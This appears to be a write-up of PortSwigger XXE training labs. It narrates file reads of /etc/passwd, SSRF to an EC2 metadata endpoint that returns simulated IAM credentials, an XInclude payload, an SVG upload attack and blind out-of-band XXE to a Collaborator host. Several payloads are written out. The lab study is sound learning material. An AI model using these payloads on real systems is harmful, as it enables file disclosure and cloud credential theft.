**XXE Injection**

**LAB 93** [**Exploiting XXE using external entities to retrieve files**](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files)

Website contains functionality on checking items’ stock. It is done in POST /product/stock request:

Изображение выглядит как текст, снимок экрана, программное обеспечение, число

Автоматически созданное описание

As one can see, it contains XML data inside, having productID parameter inside. It might be vulnerable to XXE attack. I have injected an XXE ‘xxe’ as new doctype to fetch for /etc/passwd file:

Изображение выглядит как текст, снимок экрана, число, Шрифт

Автоматически созданное описание

As a response, I received an error code 400 Bad Request AND the contents of /etc/passwd

**LAB 94** [**Exploiting XXE to perform SSRF attacks**](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf)

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

The goal is to obtain the server's IAM secret access key from the EC2 metadata endpoint.

According to [AWS documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html), the IAM secret can be obtained at

So, let’s inject an XXE that will fetch <http://169.254.169.254/latest/meta-data/iam/security-credentials/admin>:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Шрифт

Автоматически созданное описание

Great. I have received both AccessKeyID, SecretAccessKey and Token:

"Code" : "Success",

"LastUpdated" : "2024-03-21T02:57:32.891627808Z",

"Type" : "AWS-HMAC",

"AccessKeyId" : "0OJrRNMYLje0JWEbEWnG",

"SecretAccessKey" : "**FP0uttsvXNFrwyGqql1bYq3xadhzRqsSTBDuhajp**",

"Token" : "6kJAkPMfl6g1djPZiaT3gNNPFBSGowNElG3JrMiqVNGWrLUpF4lcK4e64bDmDX7kXfNg412NVtFtc2Dr8DPlC2rUbr7cTdD4wNcPwsBimO9ONugG2O6uCYxgR6M2kHUU4BjPtX2wAg189CXs2AiW0sTlRiN1xEbJBcaIBfE7qUHlWHkNVrOhrvm2GjL0Xmhh06me1RaVOLZdMHHZS6QlkEIdcHmFcZujpjauqFy3nSk1fbhyLga4NtuZDV1xibHg",

"Expiration" : "2030-03-20T02:57:32.891627808Z"

**LAB 95** [**Exploiting XInclude to retrieve files**](https://portswigger.net/web-security/xxe/lab-xinclude-attack)

The goal is to obtain /etc/passwd contents.

At first sight, this lab seems not to be vulnerable to XXE:

Изображение выглядит как текст, снимок экрана, программное обеспечение, число

Автоматически созданное описание

However, I tried to replace one of the parameters’ value to XML arbitrary type and received the following error message:

Изображение выглядит как текст, снимок экрана, Шрифт, число

Автоматически созданное описание

So, the XML entity was accepted, but there is sort of protection present. This could be bypassed by introducing XInclude which is a part of XML specification. It can be done in following:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

Изображение выглядит как текст, число, Шрифт, программное обеспечение

Автоматически созданное описание

Bingo! I can see /etc/passwd/ contents.

**LAB 96** [**Exploiting XXE via image file upload**](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload)

This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.

The goal is to obtain /etc/hostname file.

Apache Batik renders SVG files. SVG is an XML based format, so let’s create an SVG picture with the following content:

Изображение выглядит как текст, снимок экрана, Шрифт, алгебра

Автоматически созданное описание

Now, I will upload this .svg image as my profile picture:

Изображение выглядит как текст, снимок экрана, программное обеспечение, число

Автоматически созданное описание

Изображение выглядит как текст, Шрифт, белый, снимок экрана

Автоматически созданное описание

The comment was added successfully and I can see a mini avatar in front of my name, let’s open it in new tab:

Изображение выглядит как Шрифт, белый, типография, текст

Автоматически созданное описание

This is the hostname I was looking for.

/etc/hostname: ca1e33cf11c1



**LAB 97** [**Blind XXE with out-of-band interaction**](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction)

This lab contains an XML structure, however, it does not return any content explicitly in responses. Though, it still may be vulnerable to Blind XXE. Let’s check it by using old technique and try to complete a DNS lookup to Burp Collaborator server:

Изображение выглядит как текст, Шрифт, число, снимок экрана

Автоматически созданное описание

The DNS lookup detected the connection. Attack done.

Изображение выглядит как текст, снимок экрана, программное обеспечение, Шрифт

Автоматически созданное описание



**LAB 98** [**Blind XXE with out-of-band interaction via XML parameter entities**](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities)

In this lab, everything remains the same, but this time the standard XML parameter is used :

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://9isluc9yffme929metw2s30n7ed511pq.oastify.com">%xxe; ]>

This payload will declare a new XML entity “xxe” and uses it within the DTD. As before, it should cause a DNS lookup on my Burp Collaborator server:

Изображение выглядит как текст, снимок экрана, программное обеспечение, число

Автоматически созданное описание

DNS lookup received, lab’s done!

Изображение выглядит как текст, снимок экрана, число, программное обеспечение

Автоматически созданное описание